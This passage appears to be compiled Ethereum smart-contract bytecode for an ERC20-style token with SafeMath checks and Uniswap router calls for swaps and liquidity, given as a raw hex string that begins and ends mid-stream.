0610eb8565b6040518082815260200191505060405180910390f35b6105fe600480360360608110156105be57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050610f00565b005b6106566004803603606081101561061657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291905050506112cc565b005b6106606116ab565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106a0578082015181840152602081019050610685565b50505050905090810190601f1680156106cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61071d600480360360208110156106f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061174d565b005b61076b6004803603604081101561073557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611811565b604051808215151515815260200191505060405180910390f35b6107d16004803603604081101561079b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506118de565b604051808215151515815260200191505060405180910390f35b61082d6004803603602081101561080157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118fc565b6040518082815260200191505060405180910390f35b6108a56004803603604081101561085957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611910565b6040518082815260200191505060405180910390f35b610911600480360360608110156108d157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050611935565b005b6109756004803603604081101561092957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d23565b6040518082815260200191505060405180910390f35b610993611d48565b6040518082815260200191505060405180910390f35b6109eb600480360360208110156109bf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d4e565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610a2e578082015181840152602081019050610a13565b505050509050019250505060405180910390f35b610aa460048036036040811015610a5857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e1b565b6040518082815260200191505060405180910390f35b610b1060048036036060811015610ad057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050611ea2565b005b610b1a612372565b6040518082815260200191505060405180910390f35b610b7c60048036036040811015610b4657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612378565b005b610bc060048036036020811015610b9457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612386565b005b606060038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c5a5780601f10610c2f57610100808354040283529160200191610c5a565b820191906000526020600020905b815481529060010190602001808311610c3d57829003601f168201915b5050505050905090565b6000610c78610c7161244a565b8484612452565b6001905092915050565b60086020528160005260406000208181548110610c9b57fe5b906000526020600020016000915091509054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600254905090565b73271bf4568fb737cc2e6277e9b1ee0034098cda2a81565b6000610cfc848484612649565b610dbd84610d0861244a565b610db885604051806060016040528060288152602001614b5760289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610d6e61244a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128ff9092919063ffffffff16565b612452565b600190509392505050565b6000600560009054906101000a900460ff16905090565b6000610e88610dec61244a565b84610e838560016000610dfd61244a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129bf90919063ffffffff16565b612452565b6001905092915050565b610e9c8282612a47565b5050565b737a250d5630b4cf539739df2c5dacb4c659f2488d81565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610f0b333084612649565b610f4b737a250d5630b4cf539739df2c5dacb4c659f2488d60003073ffffffffffffffffffffffffffffffffffffffff1661356d9092919063ffffffff16565b610f8a737a250d5630b4cf539739df2c5dacb4c659f2488d833073ffffffffffffffffffffffffffffffffffffffff1661356d9092919063ffffffff16565b60606002604051908082528060200260200182016040528015610fbc5781602001602082028038833980820191505090505b5090503081600081518110610fcd57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050838160018151811061101557fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506060737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff166338ed17398585853361109a610708426129bf90919063ffffffff16565b6040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015611130578082015181840152602081019050611115565b505050509050019650505050505050600060405180830381600087803b15801561115957600080fd5b505af115801561116d573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250602081101561119757600080fd5b81019080805160405193929190846401000000008211156111b757600080fd5b838201915060208201858111156111cd57600080fd5b82518660208202830111640100000000821117156111ea57600080fd5b8083526020830192505050908051906020019060200280838360005b83811015611221578082015181840152602081019050611206565b5050505090500160405250505090508473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fc1561b330e73faa7d5d1ac03c968d8f359b0191ccdb9cc002cf7d8eb6ae038cb8360008151811061128c57fe5b6020026020010151846001815181106112a157fe5b6020026020010151604051808381526020018281526020019250505060405180910390a35050505050565b6112d7333084612649565b611317737a250d5630b4cf539739df2c5dacb4c659f2488d60003073ffffffffffffffffffffffffffffffffffffffff1661356d9092919063ffffffff16565b611356737a250d5630b4cf539739df2c5dacb4c659f2488d833073ffffffffffffffffffffffffffffffffffffffff1661356d9092919063ffffffff16565b606060026040519080825280602002602001820160405280156113885781602001602082028038833980820191505090505b509050308160008151811061139957fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505083816001815181106113e157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506060737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff16638803dbee84868533611466610708426129bf90919063ffffffff16565b6040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156114fc5780820151818401526020810190506114e1565b505050509050019650505050505050600060405180830381600087803b15801561152557600080fd5b505af1158015611539573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250602081101561156357600080fd5b810190808051604051939291908464010000000082111561158357600080fd5b8382019150602082018581111561159957600080fd5b82518660208202830111640100000000821117156115b657600080fd5b8083526020830192505050908051906020019060200280838360005b838110156115ed5780820151818401526020810190506115d2565b50505050905001604052505050905061160f303361160a30610eb8565b612649565b8473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fc1561b330e73faa7d5d1ac03c968d8f359b0191ccdb9cc002cf7d8eb6ae038cb8360008151811061166b57fe5b60200260200101518460018151811061168057fe5b6020026020010151604051808381526020018281526020019250505060405180910390a35050505050565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156117435780601f1061171857610100808354040283529160200191611743565b820191906000526020600020905b81548152906001019060200180831161172657829003601f168201915b5050505050905090565b61180e818273ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156117ce57600080fd5b505afa1580156117e2573d6000803e3d6000fd5b505050506040513d60208110156117f857600080fd5b8101908080519060200190929190505050610e92565b50565b60006118d461181e61244a565b846118cf85604051806060016040528060258152602001614c49602591396001600061184861244a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128ff9092919063ffffffff16565b612452565b6001905092915050565b60006118f26118eb61244a565b8484612649565b6001905092915050565b600061190982600061378d565b9050919050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6119623330848673ffffffffffffffffffffffffffffffffffffffff166139a5909392919063ffffffff16565b6119a2737a250d5630b4cf539739df2c5dacb4c659f2488d60003073ffffffffffffffffffffffffffffffffffffffff1661356d9092919063ffffffff16565b6119e1737a250d5630b4cf539739df2c5dacb4c659f2488d833073ffffffffffffffffffffffffffffffffffffffff1661356d9092919063ffffffff16565b60606002604051908082528060200260200182016040528015611a135781602001602082028038833980820191505090505b5090508381600081518110611a2457fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250503081600181518110611a6c57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506060737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff166338ed173985858533611af1610708426129bf90919063ffffffff16565b6040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015611b87578082015181840152602081019050611b6c565b505050509050019650505050505050600060405180830381600087803b158015611bb057600080fd5b505af1158015611bc4573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052506020811015611bee57600080fd5b8101908080516040519392919084640100000000821115611c0e57600080fd5b83820191506020820185811115611c2457600080fd5b8251866020820283011164010000000082111715611c4157600080fd5b8083526020830192505050908051906020019060200280838360005b83811015611c78578082015181840152602081019050611c5d565b5050505090500160405250505090508473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe4a1ae657f49cb1fb1c7d3a94ae6093565c4c8c0e03de488f79c377c3c3a24e083600181518110611ce357fe5b602002602001015184600081518110611cf857fe5b6020026020010151604051808381526020018281526020019250505060405180910390a35050505050565b6006602052816000526040600020602052806000526040600020600091509150505481565b611d4c81565b6060600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805480602002602001604051908101604052809291908181526020018280548015611e0f57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611dc5575b50505050509050919050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611ecf3330848673ffffffffffffffffffffffffffffffffffffffff166139a5909392919063ffffffff16565b611f0f737a250d5630b4cf539739df2c5dacb4c659f2488d60008573ffffffffffffffffffffffffffffffffffffffff1661356d9092919063ffffffff16565b611f4e737a250d5630b4cf539739df2c5dacb4c659f2488d838573ffffffffffffffffffffffffffffffffffffffff1661356d9092919063ffffffff16565b60606002604051908082528060200260200182016040528015611f805781602001602082028038833980820191505090505b5090508381600081518110611f9157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250503081600181518110611fd957fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506060737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff16638803dbee8486853361205e610708426129bf90919063ffffffff16565b6040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156120f45780820151818401526020810190506120d9565b505050509050019650505050505050600060405180830381600087803b15801561211d57600080fd5b505af1158015612131573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250602081101561215b57600080fd5b810190808051604051939291908464010000000082111561217b57600080fd5b8382019150602082018581111561219157600080fd5b82518660208202830111640100000000821117156121ae57600080fd5b8083526020830192505050908051906020019060200280838360005b838110156121e55780820151818401526020810190506121ca565b5050505090500160405250505090506122d6338673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561227557600080fd5b505afa158015612289573d6000803e3d6000fd5b505050506040513d602081101561229f57600080fd5b81019080805190602001909291905050508773ffffffffffffffffffffffffffffffffffffffff16613aab9092919063ffffffff16565b8473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe4a1ae657f49cb1fb1c7d3a94ae6093565c4c8c0e03de488f79c377c3c3a24e08360018151811061233257fe5b60200260200101518460008151811061234757fe5b6020026020010151604051808381526020018281526020019250505060405180910390a35050505050565b61271081565b6123828282613b7c565b5050565b612447813073ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561240757600080fd5b505afa15801561241b573d6000803e3d6000fd5b505050506040513d602081101561243157600080fd5b8101908080519060200190929190505050613b7c565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156124d8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180614bc56024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561255e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180614aee6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156126cf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180614ba06025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612755576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180614aa96023913960400191505060405180910390fd5b6127c081604051806060016040528060268152602001614b10602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128ff9092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612853816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129bf90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008383111582906129ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612971578082015181840152602081019050612956565b50505050905090810190601f16801561299e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015612a3d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000612bbf8373ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b158015612a9257600080fd5b505afa158015612aa6573d6000803e3d6000fd5b505050506040513d6020811015612abc57600080fd5b810190808051906020019092919050505060ff16600a0a612bb18473271bf4568fb737cc2e6277e9b1ee0034098cda2a73ffffffffffffffffffffffffffffffffffffffff16635708447d886040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015612b6857600080fd5b505afa158015612b7c573d6000803e3d6000fd5b505050506040513d6020811015612b9257600080fd5b81019080805190602001909291905050506142bf90919063ffffffff16565b61434590919063ffffffff16565b905060008111612c37576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f2176616c7565000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015612c9357600080fd5b505afa158015612ca7573d6000803e3d6000fd5b505050506040513d6020811015612cbd57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663e6a4390585306040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b158015612d7e57600080fd5b505afa158015612d92573d6000803e3d6000fd5b505050506040513d6020811015612da857600080fd5b81019080805190602001909291905050509050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612f7557737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015612e4a57600080fd5b505afa158015612e5e573d6000803e3d6000fd5b505050506040513d6020811015612e7457600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c6539685306040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b158015612f3757600080fd5b505af1158015612f4b573d6000803e3d6000fd5b505050506040513d6020811015612f6157600080fd5b810190808051906020019092919050505090505b612fa23382858773ffffffffffffffffffffffffffffffffffffffff166139a5909392919063ffffffff16565b612fac818361438f565b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561302b57600080fd5b505afa15801561303f573d6000803e3d6000fd5b505050506040513d602081101561305557600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff16636a627842306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156130e757600080fd5b505af11580156130fb573d6000803e3d6000fd5b505050506040513d602081101561311157600080fd5b81019080805190602001909291905050505060008273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156131a257600080fd5b505afa1580156131b6573d6000803e3d6000fd5b505050506040513d60208110156131cc57600080fd5b810190808051906020019092919050505090506132806131f5838361454a90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129bf90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006133316127106133236133148a6118fc565b886142bf90919063ffffffff16565b61434590919063ffffffff16565b90506133c281600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129bf90919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061344c338261438f565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208790806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f4e2ca0515ed1aef1395f66b5303bb5d6f1bf9d61a353fa53f73f8ac9973fa9f683898960405180848152602001838152602001828152602001935050505060405180910390a350505050505050565b6000811480613667575060008373ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e30856040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b15801561362a57600080fd5b505afa15801561363e573d6000803e3d6000fd5b505050506040513d602081101561365457600080fd5b8101908080519060200190929190505050145b6136bc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526036815260200180614c136036913960400191505060405180910390fd5b613788838473ffffffffffffffffffffffffffffffffffffffff1663095ea7b3905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050614594565b505050565b600080737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156137ea57600080fd5b505afa1580156137fe573d6000803e3d6000fd5b505050506040513d602081101561381457600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663e6a4390585306040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b1580156138d557600080fd5b505afa1580156138e9573d6000803e3d6000fd5b505050506040513d60208110156138ff57600080fd5b81019080805190602001909291905050509050600061397061395f613922610ccd565b6139516139408861393288610eb8565b6129bf90919063ffffffff16565b6127106142bf90919063ffffffff16565b61434590919063ffffffff16565b61271061454a90919063ffffffff16565b9050600081141561398757611d4c9250505061399f565b611d4c8111613996578061399a565b611d4c5b925050505b92915050565b613aa5848573ffffffffffffffffffffffffffffffffffffffff166323b872dd905060e01b858585604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050614594565b50505050565b613b77838473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050614594565b505050565b6000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082821015613c8a578192505b613c9433846147df565b613d2383600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461454a90919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613dc882613dba85846142bf90919063ffffffff16565b61434590919063ffffffff16565b90506000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015613e2657600080fd5b505afa158015613e3a573d6000803e3d6000fd5b505050506040513d6020811015613e5057600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663e6a4390586306040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b158015613f1157600080fd5b505afa158015613f25573d6000803e3d6000fd5b505050506040513d6020811015613f3b57600080fd5b81019080805190602001909291905050509050613f8e737a250d5630b4cf539739df2c5dacb4c659f2488d60008373ffffffffffffffffffffffffffffffffffffffff1661356d9092919063ffffffff16565b613fcd737a250d5630b4cf539739df2c5dacb4c659f2488d838373ffffffffffffffffffffffffffffffffffffffff1661356d9092919063ffffffff16565b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663baa2abde86308560008030614019610708426129bf90919063ffffffff16565b6040518863ffffffff1660e01b8152600401808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019750505050505050506040805180830381600087803b1580156140fc57600080fd5b505af1158015614110573d6000803e3d6000fd5b505050506040513d604081101561412657600080fd5b810190808051906020019092919080519060200190929190505050505060008573ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156141c257600080fd5b505afa1580156141d6573d6000803e3d6000fd5b505050506040513d60208110156141ec57600080fd5b81019080805190602001909291905050509050600061420a30610eb8565b905061421630826147df565b61424133838973ffffffffffffffffffffffffffffffffffffffff16613aab9092919063ffffffff16565b8673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167febff2602b3f468259e1e99f613fed6691f3a6526effe6ef3e768ba7ae7a36c4f88848660405180848152602001838152602001828152602001935050505060405180910390a350505050505050565b6000808314156142d2576000905061433f565b60008284029050828482816142e357fe5b041461433a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180614b366021913960400191505060405180910390fd5b809150505b92915050565b600061438783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250614997565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415614432576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b614447816002546129bf90919063ffffffff16565b60028190555061449e816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129bf90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600061458c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506128ff565b905092915050565b6145b38273ffffffffffffffffffffffffffffffffffffffff16614a5d565b614625576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5361666545524332303a2063616c6c20746f206e6